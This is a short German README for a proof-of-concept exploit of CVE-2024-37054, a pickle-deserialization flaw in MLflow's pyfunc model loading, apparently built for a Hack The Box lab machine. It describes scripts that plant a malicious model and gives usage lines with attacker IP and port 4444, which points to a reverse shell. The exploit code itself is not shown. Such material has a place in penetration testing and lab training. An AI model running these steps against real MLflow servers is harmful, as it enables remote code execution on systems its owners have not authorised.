
PoC für CVE-2024-37054
Proof of Concept für CVE-2024-37054, eine kritische Deserialisierungsschwachstelle in MLflow-Versionen 0.9.0 bis 2.14.1.
Wenn ein bösartiges pyfunc-Modell über mlflow.pyfunc.load_model() geladen wird, führt das gepicklete Payload beliebigen Code aus.
exploit.py — vollständiger Exploit: registrieren, trainieren, hochladen, auslösen (für HTB SmartHire Machine)build_model.py — böswilliges Modell lokal erstellen (nur Erstellung)python3 build_model.py --lhost YOUR_IP --lport 4444
# Auto register account and exploit
python3 exploit.py --lhost YOUR_IP --lport 4444 --atoz
# Use existing session
python3 exploit.py --lhost YOUR_IP --lport 4444 --session "eyJjb21w..."
Nur für Bildungszwecke und autorisierte Penetrationstests.